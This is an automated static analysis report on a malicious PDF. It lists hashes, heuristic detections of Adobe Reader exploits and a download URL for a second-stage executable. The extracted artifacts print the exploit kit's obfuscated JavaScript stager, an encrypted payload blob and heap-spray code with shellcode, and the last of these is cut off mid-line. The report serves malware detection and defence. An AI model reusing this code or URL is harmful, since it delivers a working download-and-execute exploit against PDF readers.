Malicious PDF — malware analysis report

Static analysis result for SHA-256 0cf2ef6f790fb8a9…

MALICIOUS

PDF

584.0 KB First seen: 2015-10-04
MD5: b5c90d875424febd51c0b9f8ab257ed0 SHA-1: d1bfef387395b6ee48f460222e227020212393a5 SHA-256: 0cf2ef6f790fb8a917fa9c13315afb0311872dfb656baf599f71021d10266a14
510 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains multiple critical heuristic firings indicating exploitation of Adobe Reader vulnerabilities, specifically CVE-2009-3459 and CVE-2007-5659. Embedded JavaScript is used to download a second-stage executable from the URL http://mcduimqmoxk.com/nte/prox.exe/yH9ad7bd4fV0100f060006R87006a76102Td6c4d8bc203l000c. The obfuscated JavaScript and U3D content further support the malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.7722

Heuristics 13

  • Adobe Reader U3D auto-activated 3D annotation — CVE-2009-3459 critical CVE likely CVE_2009_2990_U3D_AUTOACTIVATE
    PDF contains a /Subtype /3D annotation that is configured to auto-activate on page view (/3DA <</A /PV /AIS /I>>) alongside a /U3D stream and JavaScript. This is the document shape used by CVE-2009-2990 (Adobe Reader U3D CLODProgressiveMeshDeclaration heap overflow, APSB09-15): the U3D parser runs without any user interaction once the page is rendered, while the accompanying JavaScript prepares a heap-spray to land controlled memory inside the corrupted allocation.
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Adobe Reader U3D CLODProgressiveMeshDeclaration exploit critical CVE likely CVE_2009_3953
    PDF combines malformed U3D 3D content with JavaScript/action activation. CVE-2009-3953 is an Adobe Reader/Acrobat U3D CLODProgressiveMeshDeclaration array-boundary vulnerability triggered by malformed U3D data in a PDF.
  • U3D/3D content in PDF — Adobe Reader 3D parser CVE-family indicator high CVE related PDF_U3D_CVE_RELATED
    PDF contains U3D (Universal 3D) or 3D annotation content — CVE-2011-2462 and CVE-2009-3953 are critical vulnerabilities in Adobe Reader's U3D processing that allow arbitrary code execution. U3D content in PDFs is extremely rare in normal documents.
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB09-15 patch-range version gate (CVE-2009-3459) high CVE likely PDF_JS_ADOBE_APSB09_15_PATCH_GATE
    PDF JavaScript gates the exploit payload on an Adobe Reader version range that exactly matches the APSB09-15 patch boundary (< 9.2, < 8.1.7, < 7.1.4). That boundary fingerprints the CVE-2009-2990 / CVE-2009-3459 U3D parser vulnerabilities — no benign script tests all three Reader version-points together.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
    Matched line in script
    var t1P0w_stEIh = new Array();var PEpVaaq2 = 0;var Pe2oB5j5 = "";function f_Yx_ieTNMl(k_83K02_Gr_f, c___6_oLjw_0_K){var CXSKWLM_8r = c___6_oLjw_0_K.toString();var of_r___2 = "";for(var WiXwyKv_S = 0; WiXwyKv_S < CXSKWLM_8r.length; WiXwyKv_S++) {var NoTWj4 = parseInt(CXSKWLM_8r.substr(WiXwyKv_S, 1));if (!isNaN(NoTWj4)) {NoTWj4 = NoTWj4.toString(16);if (NoTWj4.length == 1) { NoTWj4 = "0" + NoTWj4; }else if (NoTWj4.length != 2) { NoTWj4 = "00"; }of_r___2 = NoTWj4 + of_r___2;}}while(of_r___2.length  …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Annotation subject percent-decoding eval stager critical PDF_ANNOT_SUBJECT_MARKER_EVAL_STAGER
    OpenAction JavaScript forces annotation enumeration, reads an annotation /Subject payload with getAnnots(), rewrites marker bytes into percent escapes, decodes it with unescape(), and dispatches it through eval. This is a high-confidence exploit-kit staging pattern. It is intentionally not mapped to CVE-2009-1492 unless getAnnots() itself carries the crafted integer or long argument shape for that vulnerability.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://mcduimqmoxk.com/nte/prox.exe/yH9ad7bd4fV0100f060006R87006a76102Td6c4d8bc203l000c Referenced by PDF JavaScript
    • http://www.iec.chIn PDF document text
    • https://www.verisign.com/repository/RPA0In PDF document text
    • https://www.verisign.com/repository/CPS��In PDF document text
    • https://www.verisign.comIn PDF document text
    • https://www.verisign.com/repository/verisignlogo.gif0�In PDF document text
    • https://www.verisign.com/CPSIn PDF document text
    • https://www.verisign.com/repository/CPSIn PDF document text
    • http://www.microsoft.com/truetype/0In PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text
    • https://www.verisign.com/repository/verisignlogo.gif0��In PDF document text
    • https://www.verisign.com/CPS0bIn PDF document text

Extracted artifacts 12

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0031_000.js pdf-javascript-stream PDF /JS object 31 at offset 0x2C8E1 373 bytes
SHA-256: 068944f8c011a88ab770b45c6de142b9305a1f515d410204d5eadd9ac2b5bfb3
Preview script
First 1,000 lines of the extracted script
em = ''; em = ''; r = (r = 'l' + 'a' + em + 'ce', 'rep' + r); if (!em && r) {var z; var y; th = event['tar' + em + 'get'];var e = th[em + 'e'+ em + 'v'+'al']; z = y = th; 
	 y = 0; 	 z['syncAn' + em + 'notS' + 'can'] ( ); y = z;var p = y['g'+'et'+'Annots']( {  nPage: 0 }) ;var s = p[0].subject;var l = s[r](/k /g, 'q%p'[r](/[qp]/g, ''));s = th['unes' + 'cape'] (l) ;e(s);}
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x28063 13024 bytes
SHA-256: bd3f7cca0a7a96075893165df58ddfbaf5b77485e7579a5a51beb88b7915246d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function vn_MKeQ_78vo5ng(D70V4OS, It6AU3_bq){  var P5_hhs = 'um' + 'en' + "ts";P5_hhs = 'a' + 'rg' + P5_hhs;var m_2C1P_7L3_N_4 = vn_MKeQ_78vo5ng[P5_hhs]["c" + "a" + "zzee"['r'+'epl'+'ace'](/zz/, 'll')];m_2C1P_7L3_N_4 = m_2C1P_7L3_N_4["t" + "oS" + "t" + "r" + "in" + "g"]();var K2Q___v_h = 0;try {if (app) {K2Q___v_h++;K2Q___v_h++;}} catch(e) { }var rwi_ug5r_IV8I = new Array();if (D70V4OS) { rwi_ug5r_IV8I = D70V4OS;} else {var GAn84_6WmHBq = 0;var M66__7_2C_Qt = 0;var CybC_p = 512;var D_m7____usK = 52;D_m7____usK = D_m7____usK - 4;var i211_n_O3WJy1 = D_m7____usK + 9;while(M66__7_2C_Qt < m_2C1P_7L3_N_4['le'+'ngth']) {var vXAb0CQ = 1;var jPW_i_h0Y26t = m_2C1P_7L3_N_4['c'+'h'+'arC'+'odeAt'](M66__7_2C_Qt);if (jPW_i_h0Y26t <= i211_n_O3WJy1 && jPW_i_h0Y26t >= D_m7____usK) {if (GAn84_6WmHBq == 4) { GAn84_6WmHBq = 0; }if (isNaN(rwi_ug5r_IV8I[GAn84_6WmHBq])) {rwi_ug5r_IV8I[GAn84_6WmHBq] = 0;}rwi_ug5r_IV8I[GAn84_6WmHBq] += jPW_i_h0Y26t;if (rwi_ug5r_IV8I[GAn84_6WmHBq] > 512) {rwi_ug5r_IV8I[GAn84_6WmHBq] -= CybC_p;}GAn84_6WmHBq++;}M66__7_2C_Qt++;}}GAn84_6WmHBq = 4;for (var n7__4__Kp = 0; n7__4__Kp < 4; n7__4__Kp++) {if (rwi_ug5r_IV8I[n7__4__Kp] > 256) {rwi_ug5r_IV8I[n7__4__Kp] -= 256;}}var tfs_llG34_Y_b = 0;var cO_0UDorW48d_6 = "";var WF4_Xl_MfBb__W = 0;var Y___2v3 = 0;var d7R_0_sa;var kCsx_1_dh_0 = 0;while(WF4_Xl_MfBb__W < It6AU3_bq.length) {var X8c0uE = It6AU3_bq.substr(WF4_Xl_MfBb__W, 1) + "Z";var KT_2WEUB = parseInt(X8c0uE, 16);if (Y___2v3) {d7R_0_sa += KT_2WEUB;if (tfs_llG34_Y_b == 4) {tfs_llG34_Y_b -= 4;}var sm3_l_7_kdKRq = d7R_0_sa;sm3_l_7_kdKRq = sm3_l_7_kdKRq - (1 + kCsx_1_dh_0 + 1) * rwi_ug5r_IV8I[tfs_llG34_Y_b];if (sm3_l_7_kdKRq < 0) {          var ty7L4_83J_SAh0a = 256;sm3_l_7_kdKRq = sm3_l_7_kdKRq - Math['floor'](sm3_l_7_kdKRq / ty7L4_83J_SAh0a) * 256;}sm3_l_7_kdKRq = String['from' + 'CharCode'](sm3_l_7_kdKRq);if (K2Q___v_h == 2) {cO_0UDorW48d_6 += sm3_l_7_kdKRq;} else if (K2Q___v_h == 1) {cO_0UDorW48d_6 += KT_2WEUB;} else {cO_0UDorW48d_6 += WF4_Xl_MfBb__W;}tfs_llG34_Y_b++;Y___2v3 = 0;kCsx_1_dh_0++;} else {Y___2v3 = 1;d7R_0_sa = KT_2WEUB * 16;}WF4_Xl_MfBb__W++;};var abcd=0; ;var Q_c_U___EY_JWgD = this;Q_c_U___EY_JWgD['ev'+'al'](cO_0UDorW48d_6);}
	vn_MKeQ_78vo5ng(0, "E6C3F287C46B5083A771F3B35533684B2DE2EE7C47BA417522D3F917B985763CE242D00CC0506114A104A0DC30DA3B0151F4A0C7358C6FA5E59CB56FCD2A225DAB48F595B32E69829EB2E65E69E25F545596CE243C426B22E825CBDFC229470DCF08ACA7B3D95FD266B1EFAB7AA15F7B4F4DA9B2463B7243F30AD35AE7D64D5AA8D4A024709D5F328F48DF2E5C54770A2021CBC5440953F722DBEED6B8733BD1D194A0B6B65972928F31B23F4DCA222D2BE8EF69F8D06155D089E92707834B31CF35A0E470EA3BB387FBD8F689B576CA4362BC771372538E073ECD8EC83C2E87D510E77BB8B5204A99AAF7585BA05F1E1B2DA9D74B506115D000EFE3E7F4349BAD82F0C8C2AD659C9E86A882683D4B823C0FDF4F42C8737812E5F461B8A16933E79BCB3DAF4D2CD361FBA9DA791020B311EBF3C531A828B11F86D7B9C433295BEB30EF7BA72434336DB2CE6E64C16A1F1EB6EF2A448C6931171AB1E5B905690190CACEF6A4D16AA75EBEE5CD779E686B2D3FA068F9FA7B43FE21D466FABE20389084B009706520219F66D72944252028552EF3FCF00366A3D8C0EFC3E7B43489DC87EEAEC46220546DF2B248302520595FD6D761047A3D03D262B0F1CB2A7D2AD641F206AF1932B36DB2CEEE64C16A9F106DA0C6367972A20F51B26A0D477783D90EE52FBFE05F658FB1DF113E9665395776E8D70CFA38CCD02DA0FEF6E972DACFC1B2878D5A22835232AB5F7F505F9D4F21DF490BBA7D7911E4A050FBA93410A574E4E78D1A6B126805CBCF420947FD4FE8AEEB3FAD74D519A0E777C1402976D948A04FB1255F4765C7D2633ED6655957B6E8F70D5720F4D912FBCFF1355FCFA5D7D2EB70B720956074A08A308B6BAA2437B589341520A0151EF374B0F3661B98C3EB46846F35259440EC247E51741310E3BDB702C320FED0D3EBCEC47F35ADD442BD67722A30556BF2FD8E7609726A4FE1B2170D7A2216D252ABEFF1755FEFA517D20B70E520B580B4A0AA30D966CA62A1DFB6025572A82467F29DB039667AE201DF6682B57D59A5C0E35379996EEB3D61E2EC4423280DE5FFB0F6EFBA62A790A3B4C681995F9F6166CD7546556599193DF67842BA4F691CD6B55FF892670BE587E1E78D1A6E18A7F2C111820B79B312A4A9B246BB7283F994DF83C1765FA4DB18F79670F7207D65DFB0666F9A622666A3F2F7154E73FBE851B8E2F805690190CAA8CC84ED38AB8F8AB3C7306720B5254FB09E2F0A62511C13F383D9F86460E8B1E60F725F75036034A9E8300B3DCB1DF3A9B74B0366A3D8B7B4E2C8825F93A38AA072703020706DF2EA545DDA676A20E4AE6335C86757185BA04ADF706C1FA552E8EFB7EA75F891EDB0DC30A720D5258FB0BE2F4A62712367E2A2043C2860A415B83FAFB2335B507DA0133C4A32F42B4BE216040B6C02191DB606FFAA3D9BDA97CD97B79930B55E85F5A1835E72945E29A847FCBA453723AAB84EC87D6804AB9FFD0C846D38EB8F0AB30730E720BC2BE8EFE9F08257CC08A9F99A0669535BAD02B0627011696BA70BCB756FBD20271083B43601795F0FE146CDE5C63565099E0EE5F5B7EE68AE50A9E9B787A34BC14F55AB62F9FA7B991124A05A03E96F2BA1C1D51DAFB059F36D32C1F36F1B5F0A3CF3D4E406D06BE81EA0E3D7F1BC43CAD487C1BB7851698BA74BCB956FFD293964F1D36B42C36E4AD863B6F8CB7366DB982DF306BFEA31F285C8DFF569986CD05EA9F4BFF0573D63E11BA0AAB015737ADFD2B166A5B05F698972BDFF325A22EB1B22CB2A2F4930D40F07B6EE06E33B9BEDB1E6D3B46F70BB7879B0B4754B5B702435B84F2FD2336B0D92BD0FDBBD5F4AA053DF1C8659760C6B17B41248E25FC323EAABA20BD757CC08A9F99A0669535BAD02CF8DBC1E358398DAE72F85CF6146209FAE43358867371812BFCFC0EA3ABBA1DDCFEDBCDE35E3989AE78F858F61A63536F36F08393856180FA04CB0AC302B929DCF4DBC9E3543985AE7EF854F610635F6F3CF08F938B61892AB8FC1A720989044B07772354567A30AB87E48DD682B1BBFA0290BC36603D85ACF35FC6E352BD82AE7D7C51F61C19CF7EEE684D220981099E9AF47934BB90F45A94FB5EA3244901DCF6DBCDE3563989AE70F858F61263536F3EF083938D6180FA0CCB0AC30AB929DFDDEB8A36CB85869E99787634BA14F15A053F0E9666F14A7F057D8B13050D583AE33B568672798FBA01A590C5FBF21EEDFE03B9077D2D05DBD6FB22F755D900DA076B6266448A0FAC86640DF654C4B99E92F47934B390F45A0DAB0FB5DBB9BC2CFEDBCDE35E3989AE78F858F61A6476BD8AE49257682030FBB66F9E27774BBD8DF3A70653DF3624DFD08724934DC5C21E90206116FA3DBAFA091B5BF308BA052A282C25F74A8A240A0687209343C5CE1E96206D16F1E2D98F53DF37E692ADE02F5F2A42476F2A0E6A8C66FD05FCA4FB1CCB6326E626FD03EDF70C4386E5DB411CA7179F5775B99BEE5FF38715F314F61DF261C3962F712E0ECF4FEF174E39A94BCB3AF7B34C19E54C4AE5A54294B6B09DF7D2FF95F72FCD1E243F26A2B189069DF2DAF595F227C31E2F372E57DD24FE8DFD62FC94CC21286E26FCD2A479AD641DF86BF065F7584F4AE7285CC735F62ABEE3EF84A2C0F0F33B41DFE0C440ABA0CAFB979B572D8A4C7F2CD30715FB14F61DFA61C39627712EDFD7505F8636FD9D1EE07C49944329868CA256F2B61DC1836DFCB43F967C5E7D3AC8FF7A96D8BA753AC67B64679658F24D76E860932584FC4A97246BB7203F6A8DF13D36E20F89012F8D7B3EA63C393C2E3BA86CB728B37A1E6B62F796F8F0F54D491B0072090DE07F36AB1EA651B97B1ED0F475B29066663F2D7110E5FD40F11CCC0E4D736B1DBC7EE878D5A66B2898ADFA8753E4E785CEAF476040D5F6AF2A9E11BB0B04C54A281D21E9F705FE57D31C2C84B2061FD10C4B1C02FB931C20262B599EF5B5373901FA09CBE1F73769102E527328F7524207BB0FC455330FCE017F5E8C00330C0E5D4B1ECB29F75D56887B984856330802027F570000F304825E8E144C1AF752EA3C8E60CC57034379237F5F1432239D065F2B2CD31BF75BB12A7B99405B033C1D247F57E855B6658A538E64F47CF754126E7B71C45BD621BE157F5FFF67066E0E547E2DB83DF75F868F7E4A485D066CF5167F5BD368066682522E365F1EF7553D2D7B92CC5AA63236477F541488C31F06532B4EF03FF75D3E6E2B8B405C233B0A887F598809D3478A545B374400F758E2325B039F9D576642292EA24DD7A673AA084A004701C25286902B5CF351F39BB25B2A5EC098A3593D5A7B97FC53A225B9B02A24CC5F3304C60B7F53840A33010657BB010003F75FCE02BB0D405FB3500A9C7F5B780AA3198A587E68F404F75AC2138B45C450A3056E0D7F53FC0BA3020E596B01FB25F750B9242E3E4851B63E220E7F5CF32FB64A825A4B0A5C86F7592D45AB06CC52D336393F7F54F43E1343065E7E230067F751B1298B3F4053A38F1A807F50D87F262B8A5C2B4B5718F75D02877B97C454A30A4E917F55FC0FA3040E508B96C829F75299688B804855A30015527F5ED080A30C825E9B2C6C5AF75B1D498E38CC5A066886437F577721B36506527B87C08BF7533E0ABB314057A300BA047F52B873262D8A50AB0D347CF75BB20B5E69C45C0619AE557F584C73E3760E51AB05B87DF754360C5E62485D061222567F53C365262E82525B3E4F6EF75D3A105B9ACC5AB30D89377F58F405A3170653AE26700FF755BE316E33405BA635EA387F51C826F31F8A548B8F4430F75DB21F2B4BC45CA30B3E097F5A4C6B06680E557E177B31F75686107B94485E2624022A7F52C038A3208256AB003C32F75EBA015E2CCC52061CA65B7F5B672A231906574E5BD333F75791328B45405013551D3C7F53F83AA3318A582B844724F75FB233AB9DC450E3306E7D7F5C1F5BA34A0E598E39D845F75B66648E364851A385F23E7F54C32CA302825D5B127F16F750EA052B4ECC52E35EB68F7F5D243DA30B065B7B0DA007F7598E367B074053F3070A707F55C86206638A5CAB330408F751B20A8B8FC454B64FAE517F5DFC10061C0E507E2BF839F75D66782E3848561327B2327F56D071035482515B746C3AF752BA496B30CC571320A6637F5F2421D33D065F6B3FA07BF75B5E0A2B8940581338DD447F57C832C3058A507B68576CF754051B2B41C45923318E957F5FFC46D32E0E51AB0DB81DF75C360C5E1A485A364A22567F58C068066682527B15FC8EF7553D2D7B62CC5AD632A6577F516446262F06539B8EA05FF7509E5E2B3B405C262B0A687F59980713678A578B56F430F758E29F5B33C45CE3137E997F51FC3AB6400E555B32A851F75E39636E2C485DB30ED55A7F5DD028D38882562B886C42F759ED245B14CC5EA334394B7F53340CE611065A8B13C323F75F41625E2D4052F37D2A5C7F5BFB2AF6598A584B494754F75AF5432B35C45126259E6D7F543F2BA6320E597E51FB25F75036343E3E48522620F54E7F5CF32CA34A825D5B59FC36F7590D583E26CC55D336869F7F584460F383065E8E65D357F751B1598E6F4053A65EFD507F5E0881F63B8A5CAE1E5758F75A25572E57C457F32A7E817F562C3013340E5DAE16AB19F75266687E204855C66FC5127F5EB311130C825E9B9C5C9AF75ABA096B78CC57134896837F5764021345065F4E64A31BF753914A4E61405803411A347F5FD893135D8A509B1D574CF75C156B8E49C4590629AE857F585C33C6560E518E45DB6DF754995C4E62485A035222467F50E004C66E82528E6E6C2EF75CDD5D9B8ACC5B138A96577F591766035706536B86E09FF7559E1E5B93405BD3731A487F51D847032F8A548B6F2440F75DE20F7B6BC45CD30B6E197F5A5C67D3080E555B67A801F75666005B04485DD363E20A7F52A088F32082565B002C72F75EEA615B0CCC5ED37C961B7F5B2419D36906575B28A003F7579E427B4540500334EA6C7F53D84AD3418A588B212484F75FE2238B3DC450D33D6E0D7F5C2C0C063A0E595B09A805F75836048B3614B4B709B1E08B54E42F9456707C6EB0FCD6A7549D595E328C05F28008F34B51359D26AC03DB2E7D600BC2C83F166DF80EF694C6CC42FB65DBB1F6E3C59CDF660828A784A4F9BEA08438B70E3ED12B027C4FA30CBA0D2BBFDB1EC20E09CC7D2BE44895797103FA07901235F82E111D23FC5D45F4CC39AAE53B5A867479832AADF4225760C62E2CCF611CE6EF1F2B6EFB9FA6A3D7BE881DFA0BA2B73A4A0F2AD3F38176C8042E1B45627A62B132865B8F8CB515F21CF41DF169C1962E792B2BD9F85B554D566A1F0ABF8615FA90F51DF9EDC29626FD2CEA053AFBB34619E94C44E5A9429066663F2D7380A5F020FE9B5F4EFF36AACCFC1C6878D5A2899A671C482740A2D4B203AB44700CA3033D9A1F84EEFA36A0CE393F002B66972D35848E11130F36DF126B2B2970D7A309ED07BEDB5C63A325BAC02E857AF195F4A65F7DF687A9B5F4A367DA0203D8036F3E21DABD8B04574CCC0D2F7E6C3EE45BC98ADC9CC7660307D4D22BD57173966820F11EF5BEFEC545D908DA02981835F326171D2EF45345FFC43FABB144D0075F113E6E9DEFE6A57B0CF73C68BC259637558FBFB95711C20594FC3E9561DB96442E797F901087820F89004A2E2B62972B358E9E9D787E34BE14F95A094F04A3B63075BD8A60915767AC3C2BC2781AC3B1387BBD8568975762A432DABE0F0554E02F11BDFDCEFEE5FB2D5DBB2DFBE5A2B905087EEA4834D619B55EAA23C45CA63331397F51FF37A63FD995DFD3DB16C202A8F15EB0046DF32EA51B2DFCA347A3D83D254BBB5FF7C2063C74BD89EC905767283B2BD1F40A52042599AF7501B905F16D02EA0E6C5FA3BBBC70BD8FEC9C576D2837DAB8830A577AA336DE16D050C5F84E011D373B0B53D1BBEC1C150AF875F378F49E53842626EE66D36E80043C863F21CDEE1D1E3BE6FCDD542BD6793696C9F9134AE827F166C7053F6C56431C36C2C1E98EFF70B7D751DDA1CA0C972E62000A3F9BA9F87C943D65178B5892F7B30A20356FD58CB2B708B9E05EC6CB1EC545C9DB7CF54845250106058E118410C29DE2D18F5FDF3FE69EADE82D9A8BA9943A56864A8B07D63786D67F5B2404B106175D0D4DF4EEFA965FBAD42D00CC0506114A104BB0876CA28B361EFF9EF12D13395D070BD6FC82A26619053EDA0C8FC774662B2BC1F4898311C1962FC53F08B6D3C2834F7E2C2EA3CBBA7D0B1B070F574D274B1E8B55A905F8C5133A86903062045D527B072C0ED2570A0C5B04A726620449D8BF801871D32D42B23F007FE0275CEF7E9DFD4B08720B2C581D18D946C5F96720DD0648000616C61B4A034F0BB7053DEA5E543E4736D20BF57F4CF721B70035EFAF5CA57E15FD0186BA283F04B297E2D12E995B0F27188E91AC27E83AC202F5089AE10425320465677EE1A44436F11D017E3BFE5E932C9CFB2A89070B574C5A932FBB36F2E5F93460CE67611FB312BE2A4AC0FB26F750BD352E3ECC52A63E393F4ACBF8117790332F9B3A9F99576C42252E6A8EF695F9AC433A06470E7308B67D5C64256AD462F2BB6E840434867282433EE1DFF3E73C3D6FBDFE6AFD954C45C72E6B86F895FAA4453AC5736335F820F11D460BCAA6654CFC1DF46A48B290EAD32E320844D68D355EBA01233096EF61FDEE59D00BC69C9E48EEE6F725B6EA19F46F33F7522637060F6E9663E7A655522A1F2F1B9452038ED47E3D7A51932E18FE2A8A84BE774CA34A1E8AD1A805F841123A860C3F6203D9517B06A80DD256860B5B0423256203C5D7BF8F9470D32CCEB1BE6AFB8EC5FDACFC1E59070B561C3A040E3AB754B727F592FE566450E28650FD1DF4EF5733B58ED98E13970604C2C6231D2F65F205FBD3DE1C2970D7A309E2693F26FF43F748FDA38CF478DDA6183A0C0F06B85D14959637DE646423A28391164A0F6C01844E6B610D4BAAFCE33E4508FA08F4B4A477B3E46CB7D3E2E338204E5F12FCCAA6430E4B6EA3D9F686C389E79F4274B0A47DB3E06CBDD3EEE33E204A5F19ABB7320D6E683F267BD6B6C65921AD17344CA3D2B54B7F44B3AB04F3EF762CE13DB506E0FA341D4DAC1172E099504F3E87FD83BD45662A8C4418632A5F843D463B0082081BC1BB266A2D14F698F84CD3E525320461068CC30023952FAFF28DFC1DDE9429BAD82EDD8BC6C629B8166B47A30677D9456E2A878400A2E7919D7F75402A0654DE38BEF3570373DD36900B1CF43CA26B110E8CCF002B952BAFFA8DF81DD69425BAC02B95581ED2933ABF8CC7842C952423FB8DF091D7942E3ED12B9DDC1FD3B18D908A0AF71A266BFA984DFB1677976AA224FDF79F016205CD02EFC2FF6D6792DCFB4D736C69932208F54A0FD4D0A39D922EBA0134CBA20A3D093A8D5DCC332BAC279CFBDAF2C4D9272F2BC3F48CA7C8710E8CC7002B9523AFFA8DF01DD6942DBAE1FA0DF7EEB37BC500EFC9F308A208C18A8CCD00279529AFF68DF61DD29423BACC2B727CCF620597CCBB23E62814F414F34CD1612FA3EE0D0E9AEC0C4B3299BEBBBC1D1AF7D528B823AE68B891C5F7D4711F67602E75F45D9ADFD");
legacy_pdfkit_stage_001.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x28063 5403 bytes
SHA-256: 4f39c03cbf9838cc4f2560d387019df27f4b9a84a8d50633f3158a912b5fde13
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var t1P0w_stEIh = new Array();var PEpVaaq2 = 0;var Pe2oB5j5 = "";function f_Yx_ieTNMl(k_83K02_Gr_f, c___6_oLjw_0_K){var CXSKWLM_8r = c___6_oLjw_0_K.toString();var of_r___2 = "";for(var WiXwyKv_S = 0; WiXwyKv_S < CXSKWLM_8r.length; WiXwyKv_S++) {var NoTWj4 = parseInt(CXSKWLM_8r.substr(WiXwyKv_S, 1));if (!isNaN(NoTWj4)) {NoTWj4 = NoTWj4.toString(16);if (NoTWj4.length == 1) { NoTWj4 = "0" + NoTWj4; }else if (NoTWj4.length != 2) { NoTWj4 = "00"; }of_r___2 = NoTWj4 + of_r___2;}}while(of_r___2.length < 8) { of_r___2 = "0" + of_r___2; }var ak_455Rd = k_83K02_Gr_f.toString(16);if (ak_455Rd.length == 1) { ak_455Rd = "0" + ak_455Rd; }else if (ak_455Rd.length != 2) { ak_455Rd = "00"; }of_r___2 = "3" + ak_455Rd + "P" + of_r___2;return of_r___2;}function M_b5tI(j5M0g_0b, A4_1__L1TM66ken){var Ofld5phHg0uea = new Array("");var Ib_41l_ik6wo = j5M0g_0b;var E4s88_83h;if ((E4s88_83h = j5M0g_0b.lastIndexOf("%u00")) != -1) {if (E4s88_83h + 6 == j5M0g_0b.length) {Ofld5phHg0uea[0] = j5M0g_0b.substr(E4s88_83h + 4, 2);Ib_41l_ik6wo = j5M0g_0b.substring(0, E4s88_83h);}}E4s88_83h = 1;for (WiXwyKv_S = 0; WiXwyKv_S < A4_1__L1TM66ken.length; WiXwyKv_S++) {var Ks_o01_U6_vY = A4_1__L1TM66ken.charCodeAt(WiXwyKv_S).toString(16);if (Ks_o01_U6_vY.length == 1) { Ks_o01_U6_vY = "0" + Ks_o01_U6_vY; }Ofld5phHg0uea[E4s88_83h] = Ks_o01_U6_vY;E4s88_83h++;}WiXwyKv_S = Ofld5phHg0uea[0].length ? 0 : 1;Ofld5phHg0uea[E4s88_83h] = "00";Ofld5phHg0uea[E4s88_83h + 1] = "00";E4s88_83h += 2;if ((Ofld5phHg0uea.length - WiXwyKv_S) % 2) {Ofld5phHg0uea[E4s88_83h] = "00";}while(WiXwyKv_S < Ofld5phHg0uea.length) {Ib_41l_ik6wo += "%u" + Ofld5phHg0uea[WiXwyKv_S + 1] + Ofld5phHg0uea[WiXwyKv_S];WiXwyKv_S += 2;}Ib_41l_ik6wo += "%u0000";return Ib_41l_ik6wo;}function uKTjv_pT(G_f___oL_bTb, L_A4nnBDoJj){while (G_f___oL_bTb.length*2<L_A4nnBDoJj) {G_f___oL_bTb += G_f___oL_bTb;}G_f___oL_bTb = G_f___oL_bTb.substring(0,L_A4nnBDoJj/2);return G_f___oL_bTb;}function t_D_hVJf_Aa1(t_4s_gB7a, g_m071, fLy2_RWOv_2M_B){var Fv_DCd = 0x0c0c0c0c;var G_f___oL_bTb = unescape(g_m071);var A4_1__L1TM66ken = f_Yx_ieTNMl(t_4s_gB7a, fLy2_RWOv_2M_B);var B1I__1_R05J_QS8 = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var j5M0g_0b = "%u9050%u9050%u9050%u9050" + 